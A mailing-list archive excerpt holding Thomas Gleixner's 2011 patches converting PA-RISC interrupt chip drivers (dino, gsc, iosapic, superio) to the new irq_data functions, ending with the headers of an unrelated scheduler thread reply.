References: <20110206204411.109238550@linutronix.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1297025181 11463 80.91.229.12 (6 Feb 2011 20:46:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 6 Feb 2011 20:46:21 +0000 (UTC)
Cc: Kyle McMartin <kyle@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 06 21:46:14 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PmBUr-00050w-W2
	for glpp-linux-parisc@lo.gmane.org; Sun, 06 Feb 2011 21:46:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753996Ab1BFUqM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 6 Feb 2011 15:46:12 -0500
Original-Received: from www.tglx.de ([62.245.132.106]:42310 "EHLO www.tglx.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753896Ab1BFUqM (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 6 Feb 2011 15:46:12 -0500
Original-Received: from localhost6.localdomain6 (www.tglx.de [127.0.0.1])
	by www.tglx.de (8.13.8/8.13.8/TGLX-2007100201) with ESMTP id p16KjsAB008176;
	Sun, 6 Feb 2011 21:45:54 +0100
User-Agent: quilt/0.48-1
Content-Disposition: inline; filename=parisc-convert-dino.patch
X-Virus-Scanned: clamav-milter 0.95.3 at www.tglx.de
X-Virus-Status: Clean
X-Spam-Status: No, score=-1.4 required=5.0 tests=ALL_TRUSTED autolearn=failed
	version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on www.tglx.de
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3422
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3422>

Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
---
 drivers/parisc/dino.c |   22 +++++++++++-----------
 1 file changed, 11 insertions(+), 11 deletions(-)

Index: linux-next/drivers/parisc/dino.c
===================================================================
--- linux-next.orig/drivers/parisc/dino.c
+++ linux-next/drivers/parisc/dino.c
@@ -296,25 +296,25 @@ static struct pci_port_ops dino_port_ops
 	.outl	= dino_out32
 };
 
-static void dino_mask_irq(unsigned int irq)
+static void dino_mask_irq(struct irq_data *d)
 {
-	struct dino_device *dino_dev = get_irq_chip_data(irq);
-	int local_irq = gsc_find_local_irq(irq, dino_dev->global_irq, DINO_LOCAL_IRQS);
+	struct dino_device *dino_dev = irq_data_get_irq_chip_data(d);
+	int local_irq = gsc_find_local_irq(d->irq, dino_dev->global_irq, DINO_LOCAL_IRQS);
 
-	DBG(KERN_WARNING "%s(0x%p, %d)\n", __func__, dino_dev, irq);
+	DBG(KERN_WARNING "%s(0x%p, %d)\n", __func__, dino_dev, d->irq);
 
 	/* Clear the matching bit in the IMR register */
 	dino_dev->imr &= ~(DINO_MASK_IRQ(local_irq));
 	__raw_writel(dino_dev->imr, dino_dev->hba.base_addr+DINO_IMR);
 }
 
-static void dino_unmask_irq(unsigned int irq)
+static void dino_unmask_irq(struct irq_data *d)
 {
-	struct dino_device *dino_dev = get_irq_chip_data(irq);
-	int local_irq = gsc_find_local_irq(irq, dino_dev->global_irq, DINO_LOCAL_IRQS);
+	struct dino_device *dino_dev = irq_data_get_irq_chip_data(d);
+	int local_irq = gsc_find_local_irq(d->irq, dino_dev->global_irq, DINO_LOCAL_IRQS);
 	u32 tmp;
 
-	DBG(KERN_WARNING "%s(0x%p, %d)\n", __func__, dino_dev, irq);
+	DBG(KERN_WARNING "%s(0x%p, %d)\n", __func__, dino_dev, d->irq);
 
 	/*
 	** clear pending IRQ bits
@@ -346,9 +346,9 @@ static void dino_unmask_irq(unsigned int
 }
 
 static struct irq_chip dino_interrupt_type = {
-	.name	= "GSC-PCI",
-	.unmask	= dino_unmask_irq,
-	.mask	= dino_mask_irq,
+	.name		= "GSC-PCI",
+	.irq_unmask	= dino_unmask_irq,
+	.irq_mask	= dino_mask_irq,
 };
 
 


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [patch 4/8] parisc: Convert gsc irq_chip to new functions
Date: Sun, 06 Feb 2011 20:45:59 -0000
Lines: 65
Approved: news@gmane.org
Message-ID: <20110206204510.728128167@linutronix.de>
References: <20110206204411.109238550@linutronix.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1297025182 11465 80.91.229.12 (6 Feb 2011 20:46:22 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 6 Feb 2011 20:46:22 +0000 (UTC)
Cc: Kyle McMartin <kyle@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 06 21:46:17 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PmBUv-00050w-4C
	for glpp-linux-parisc@lo.gmane.org; Sun, 06 Feb 2011 21:46:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754021Ab1BFUqQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 6 Feb 2011 15:46:16 -0500
Original-Received: from www.tglx.de ([62.245.132.106]:42315 "EHLO www.tglx.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753896Ab1BFUqQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 6 Feb 2011 15:46:16 -0500
Original-Received: from localhost6.localdomain6 (www.tglx.de [127.0.0.1])
	by www.tglx.de (8.13.8/8.13.8/TGLX-2007100201) with ESMTP id p16KjxZH008192;
	Sun, 6 Feb 2011 21:45:59 +0100
User-Agent: quilt/0.48-1
Content-Disposition: inline; filename=parisc-convert-gsc.patch
X-Virus-Scanned: clamav-milter 0.95.3 at www.tglx.de
X-Virus-Status: Clean
X-Spam-Status: No, score=-1.4 required=5.0 tests=ALL_TRUSTED autolearn=failed
	version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on www.tglx.de
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3423
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3423>

Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
---
 drivers/parisc/gsc.c |   22 +++++++++++-----------
 1 file changed, 11 insertions(+), 11 deletions(-)

Index: linux-next/drivers/parisc/gsc.c
===================================================================
--- linux-next.orig/drivers/parisc/gsc.c
+++ linux-next/drivers/parisc/gsc.c
@@ -105,13 +105,13 @@ int gsc_find_local_irq(unsigned int irq,
 	return NO_IRQ;
 }
 
-static void gsc_asic_mask_irq(unsigned int irq)
+static void gsc_asic_mask_irq(struct irq_data *d)
 {
-	struct gsc_asic *irq_dev = get_irq_chip_data(irq);
-	int local_irq = gsc_find_local_irq(irq, irq_dev->global_irq, 32);
+	struct gsc_asic *irq_dev = irq_data_get_irq_chip_data(d);
+	int local_irq = gsc_find_local_irq(d->irq, irq_dev->global_irq, 32);
 	u32 imr;
 
-	DEBPRINTK(KERN_DEBUG "%s(%d) %s: IMR 0x%x\n", __func__, irq,
+	DEBPRINTK(KERN_DEBUG "%s(%d) %s: IMR 0x%x\n", __func__, d->irq,
 			irq_dev->name, imr);
 
 	/* Disable the IRQ line by clearing the bit in the IMR */
@@ -120,13 +120,13 @@ static void gsc_asic_mask_irq(unsigned i
 	gsc_writel(imr, irq_dev->hpa + OFFSET_IMR);
 }
 
-static void gsc_asic_unmask_irq(unsigned int irq)
+static void gsc_asic_unmask_irq(struct irq_data *d)
 {
-	struct gsc_asic *irq_dev = get_irq_chip_data(irq);
-	int local_irq = gsc_find_local_irq(irq, irq_dev->global_irq, 32);
+	struct gsc_asic *irq_dev = irq_data_get_irq_chip_data(d);
+	int local_irq = gsc_find_local_irq(d->irq, irq_dev->global_irq, 32);
 	u32 imr;
 
-	DEBPRINTK(KERN_DEBUG "%s(%d) %s: IMR 0x%x\n", __func__, irq,
+	DEBPRINTK(KERN_DEBUG "%s(%d) %s: IMR 0x%x\n", __func__, d->irq,
 			irq_dev->name, imr);
 
 	/* Enable the IRQ line by setting the bit in the IMR */
@@ -140,9 +140,9 @@ static void gsc_asic_unmask_irq(unsigned
 }
 
 static struct irq_chip gsc_asic_interrupt_type = {
-	.name	=	"GSC-ASIC",
-	.unmask	=	gsc_asic_unmask_irq,
-	.mask	=	gsc_asic_mask_irq,
+	.name		=	"GSC-ASIC",
+	.irq_unmask	=	gsc_asic_unmask_irq,
+	.irq_mask	=	gsc_asic_mask_irq,
 };
 
 int gsc_assign_irq(struct irq_chip *type, void *data)


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [patch 5/8] parisc: Convert iosapic irq_chip to new functions
Date: Sun, 06 Feb 2011 20:46:01 -0000
Lines: 104
Approved: news@gmane.org
Message-ID: <20110206204510.827438960@linutronix.de>
References: <20110206204411.109238550@linutronix.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1297025186 11473 80.91.229.12 (6 Feb 2011 20:46:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 6 Feb 2011 20:46:26 +0000 (UTC)
Cc: Kyle McMartin <kyle@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 06 21:46:20 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PmBUx-00050w-Ln
	for glpp-linux-parisc@lo.gmane.org; Sun, 06 Feb 2011 21:46:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754024Ab1BFUqT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 6 Feb 2011 15:46:19 -0500
Original-Received: from www.tglx.de ([62.245.132.106]:42316 "EHLO www.tglx.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753896Ab1BFUqT (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 6 Feb 2011 15:46:19 -0500
Original-Received: from localhost6.localdomain6 (www.tglx.de [127.0.0.1])
	by www.tglx.de (8.13.8/8.13.8/TGLX-2007100201) with ESMTP id p16Kk1PW008198;
	Sun, 6 Feb 2011 21:46:01 +0100
User-Agent: quilt/0.48-1
Content-Disposition: inline; filename=parisc-convert-iosapic.patch
X-Virus-Scanned: clamav-milter 0.95.3 at www.tglx.de
X-Virus-Status: Clean
X-Spam-Status: No, score=-1.4 required=5.0 tests=ALL_TRUSTED autolearn=failed
	version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on www.tglx.de
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3424
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3424>

Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
---
 drivers/parisc/iosapic.c |   37 ++++++++++++++++++-------------------
 1 file changed, 18 insertions(+), 19 deletions(-)

Index: linux-next/drivers/parisc/iosapic.c
===================================================================
--- linux-next.orig/drivers/parisc/iosapic.c
+++ linux-next/drivers/parisc/iosapic.c
@@ -615,10 +615,10 @@ iosapic_set_irt_data( struct vector_info
 }
 
 
-static void iosapic_mask_irq(unsigned int irq)
+static void iosapic_mask_irq(struct irq_data *d)
 {
 	unsigned long flags;
-	struct vector_info *vi = get_irq_chip_data(irq);
+	struct vector_info *vi = irq_data_get_irq_chip_data(d);
 	u32 d0, d1;
 
 	spin_lock_irqsave(&iosapic_lock, flags);
@@ -628,9 +628,9 @@ static void iosapic_mask_irq(unsigned in
 	spin_unlock_irqrestore(&iosapic_lock, flags);
 }
 
-static void iosapic_unmask_irq(unsigned int irq)
+static void iosapic_unmask_irq(struct irq_data *d)
 {
-	struct vector_info *vi = get_irq_chip_data(irq);
+	struct vector_info *vi = irq_data_get_irq_chip_data(d);
 	u32 d0, d1;
 
 	/* data is initialized by fixup_irq */
@@ -666,34 +666,33 @@ printk("\n");
 	 * enables their IRQ. It can lead to "interesting" race conditions
 	 * in the driver initialization sequence.
 	 */
-	DBG(KERN_DEBUG "enable_irq(%d): eoi(%p, 0x%x)\n", irq,
+	DBG(KERN_DEBUG "enable_irq(%d): eoi(%p, 0x%x)\n", d->irq,
 			vi->eoi_addr, vi->eoi_data);
 	iosapic_eoi(vi->eoi_addr, vi->eoi_data);
 }
 
-static void iosapic_eoi_irq(unsigned int irq)
+static void iosapic_eoi_irq(struct irq_data *d)
 {
-	struct vector_info *vi = get_irq_chip_data(irq);
+	struct vector_info *vi = irq_data_get_irq_chip_data(d);
 
 	iosapic_eoi(vi->eoi_addr, vi->eoi_data);
-	cpu_eoi_irq(&irq_desc[irq].irq_data);
+	cpu_eoi_irq(d);
 }
 
 #ifdef CONFIG_SMP
-static int iosapic_set_affinity_irq(unsigned int irq,
-				     const struct cpumask *dest)
+static int iosapic_set_affinity_irq(struct irq_data *d,
+				    const struct cpumask *dest, bool force)
 {
-	struct vector_info *vi = get_irq_chip_data(irq);
+	struct vector_info *vi = irq_data_get_irq_chip_data(d);
 	u32 d0, d1, dummy_d0;
 	unsigned long flags;
 	int dest_cpu;
 
-	/* Temporary  irq_desc hack */
-	dest_cpu = cpu_check_affinity(&irq_desc[irq].irq_data, dest);
+	dest_cpu = cpu_check_affinity(d, dest);
 	if (dest_cpu < 0)
 		return -1;
 
-	cpumask_copy(irq_desc[irq].affinity, cpumask_of(dest_cpu));
+	cpumask_copy(d->affinity, cpumask_of(dest_cpu));
 	vi->txn_addr = txn_affinity_addr(irq, dest_cpu);
 
 	spin_lock_irqsave(&iosapic_lock, flags);
@@ -709,13 +708,13 @@ static int iosapic_set_affinity_irq(unsi
 #endif
 
 static struct irq_chip iosapic_interrupt_type = {
-	.name	=	"IO-SAPIC-level",
-	.unmask	=	iosapic_unmask_irq,
-	.mask	=	iosapic_mask_irq,
+	.name		=	"IO-SAPIC-level",
+	.irq_unmask	=	iosapic_unmask_irq,
+	.irq_mask	=	iosapic_mask_irq,
 	.irq_ack	=	cpu_ack_irq,
-	.eoi	=	iosapic_eoi_irq,
+	.irq_eoi	=	iosapic_eoi_irq,
 #ifdef CONFIG_SMP
-	.set_affinity =	iosapic_set_affinity_irq,
+	.irq_set_affinity =	iosapic_set_affinity_irq,
 #endif
 };
 


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [patch 6/8] parisc: Convert superio irq_chip to new functions
Date: Sun, 06 Feb 2011 20:46:03 -0000
Lines: 51
Approved: news@gmane.org
Message-ID: <20110206204510.925278920@linutronix.de>
References: <20110206204411.109238550@linutronix.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1297025188 11484 80.91.229.12 (6 Feb 2011 20:46:28 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 6 Feb 2011 20:46:28 +0000 (UTC)
Cc: Kyle McMartin <kyle@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 06 21:46:24 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PmBUz-00050w-M0
	for glpp-linux-parisc@lo.gmane.org; Sun, 06 Feb 2011 21:46:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753896Ab1BFUqV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 6 Feb 2011 15:46:21 -0500
Original-Received: from www.tglx.de ([62.245.132.106]:42317 "EHLO www.tglx.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754025Ab1BFUqV (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 6 Feb 2011 15:46:21 -0500
Original-Received: from localhost6.localdomain6 (www.tglx.de [127.0.0.1])
	by www.tglx.de (8.13.8/8.13.8/TGLX-2007100201) with ESMTP id p16Kk3Bf008204;
	Sun, 6 Feb 2011 21:46:03 +0100
User-Agent: quilt/0.48-1
Content-Disposition: inline; filename=parisc-convert-superio.patch
X-Virus-Scanned: clamav-milter 0.95.3 at www.tglx.de
X-Virus-Status: Clean
X-Spam-Status: No, score=-1.4 required=5.0 tests=ALL_TRUSTED,AWL
	autolearn=failed version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on www.tglx.de
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3425
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3425>

Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
---
 drivers/parisc/superio.c |   12 +++++++-----
 1 file changed, 7 insertions(+), 5 deletions(-)

Index: linux-next/drivers/parisc/superio.c
===================================================================
--- linux-next.orig/drivers/parisc/superio.c
+++ linux-next/drivers/parisc/superio.c
@@ -286,8 +286,9 @@ superio_init(struct pci_dev *pcidev)
 }
 DECLARE_PCI_FIXUP_FINAL(PCI_VENDOR_ID_NS, PCI_DEVICE_ID_NS_87560_LIO, superio_init);
 
-static void superio_mask_irq(unsigned int irq)
+static void superio_mask_irq(struct irq_data *d)
 {
+	unsigned int irq = d->irq;
 	u8 r8;
 
 	if ((irq < 1) || (irq == 2) || (irq > 7)) {
@@ -303,8 +304,9 @@ static void superio_mask_irq(unsigned in
 	outb (r8,IC_PIC1+1);
 }
 
-static void superio_unmask_irq(unsigned int irq)
+static void superio_unmask_irq(struct irq_data *d)
 {
+	unsigned int irq = d->irq;
 	u8 r8;
 
 	if ((irq < 1) || (irq == 2) || (irq > 7)) {
@@ -320,9 +322,9 @@ static void superio_unmask_irq(unsigned 
 }
 
 static struct irq_chip superio_interrupt_type = {
-	.name	=	SUPERIO,
-	.unmask	=	superio_unmask_irq,
-	.mask	=	superio_mask_irq,
+	.name		=	SUPERIO,
+	.irq_unmask	=	superio_unmask_irq,
+	.irq_mask	=	superio_mask_irq,
 };
 
 #ifdef DEBUG_SUPERIO_INIT


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [patch 7/8] parisc: Prepare show_interrupts for
	GENERIC_HARDIRQS_NO_DEPRECATED
Date: Sun, 06 Feb 2011 20:46:05 -0000
Lines: 27
Approved: news@gmane.org
Message-ID: <20110206204511.022956572@linutronix.de>
References: <20110206204411.109238550@linutronix.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1297025191 11497 80.91.229.12 (6 Feb 2011 20:46:31 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 6 Feb 2011 20:46:31 +0000 (UTC)
Cc: Kyle McMartin <kyle@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 06 21:46:27 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PmBV2-00050w-8Z
	for glpp-linux-parisc@lo.gmane.org; Sun, 06 Feb 2011 21:46:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754012Ab1BFUqY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 6 Feb 2011 15:46:24 -0500
Original-Received: from www.tglx.de ([62.245.132.106]:42318 "EHLO www.tglx.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754025Ab1BFUqX (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 6 Feb 2011 15:46:23 -0500
Original-Received: from localhost6.localdomain6 (www.tglx.de [127.0.0.1])
	by www.tglx.de (8.13.8/8.13.8/TGLX-2007100201) with ESMTP id p16Kk6gs008213;
	Sun, 6 Feb 2011 21:46:06 +0100
User-Agent: quilt/0.48-1
Content-Disposition: inline; filename=parisc-fix-show-int.patch
X-Virus-Scanned: clamav-milter 0.95.3 at www.tglx.de
X-Virus-Status: Clean
X-Spam-Status: No, score=-1.4 required=5.0 tests=ALL_TRUSTED autolearn=failed
	version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on www.tglx.de
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3426
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3426>

chip moves to irq_data

Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
---
 arch/parisc/kernel/irq.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: linux-next/arch/parisc/kernel/irq.c
===================================================================
--- linux-next.orig/arch/parisc/kernel/irq.c
+++ linux-next/arch/parisc/kernel/irq.c
@@ -188,7 +188,7 @@ int show_interrupts(struct seq_file *p, 
 		seq_printf(p, "%10u ", kstat_irqs(i));
 #endif
 
-		seq_printf(p, " %14s", irq_desc[i].chip->name);
+		seq_printf(p, " %14s", irq_desc[i].irq_data.chip->name);
 #ifndef PARISC_IRQ_CR16_COUNTS
 		seq_printf(p, "  %s", action->name);
 


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [patch 8/8] parisc: Select GENERIC_HARDIRQS_NO_DEPRECATED
Date: Sun, 06 Feb 2011 20:46:08 -0000
Lines: 26
Approved: news@gmane.org
Message-ID: <20110206204511.119862953@linutronix.de>
References: <20110206204411.109238550@linutronix.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1297025191 11498 80.91.229.12 (6 Feb 2011 20:46:31 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 6 Feb 2011 20:46:31 +0000 (UTC)
Cc: Kyle McMartin <kyle@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 06 21:46:27 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PmBV3-00050w-Vh
	for glpp-linux-parisc@lo.gmane.org; Sun, 06 Feb 2011 21:46:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754031Ab1BFUqZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 6 Feb 2011 15:46:25 -0500
Original-Received: from www.tglx.de ([62.245.132.106]:42319 "EHLO www.tglx.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754025Ab1BFUqZ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 6 Feb 2011 15:46:25 -0500
Original-Received: from localhost6.localdomain6 (www.tglx.de [127.0.0.1])
	by www.tglx.de (8.13.8/8.13.8/TGLX-2007100201) with ESMTP id p16Kk8S9008225;
	Sun, 6 Feb 2011 21:46:08 +0100
User-Agent: quilt/0.48-1
Content-Disposition: inline; filename=parisc-set-nodepr.patch
X-Virus-Scanned: clamav-milter 0.95.3 at www.tglx.de
X-Virus-Status: Clean
X-Spam-Status: No, score=-1.4 required=5.0 tests=ALL_TRUSTED autolearn=failed
	version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on www.tglx.de
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3427
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3427>

All chips converted.

Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
---
 arch/parisc/Kconfig |    1 +
 1 file changed, 1 insertion(+)

Index: linux-next/arch/parisc/Kconfig
===================================================================
--- linux-next.orig/arch/parisc/Kconfig
+++ linux-next/arch/parisc/Kconfig
@@ -15,6 +15,7 @@ config PARISC
 	select HAVE_GENERIC_HARDIRQS
 	select GENERIC_IRQ_PROBE
 	select IRQ_PER_CPU
+	select GENERIC_HARDIRQS_NO_DEPRECATED
 
 	help
 	  The PA-RISC microprocessor is designed by Hewlett-Packard and used


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>
Newsgroups: gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.virtualization,gmane.comp.emulators.xen.devel,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] sched: provide scheduler_ipi()
 callback in response to smp_send_reschedule()
Date: Mon, 07 Feb 2011 10:26:32 +1100
Lines: 37
Approved: news@gmane.org
Message-ID: <1297034792.14982.10.camel@pasglop>
References: <1295262433.30950.53.camel@laptop>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1297034928 22210 80.91.229.12 (6 Feb 2011 23:28:48 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 6 Feb 2011 23:28:48 +0000 (UTC)
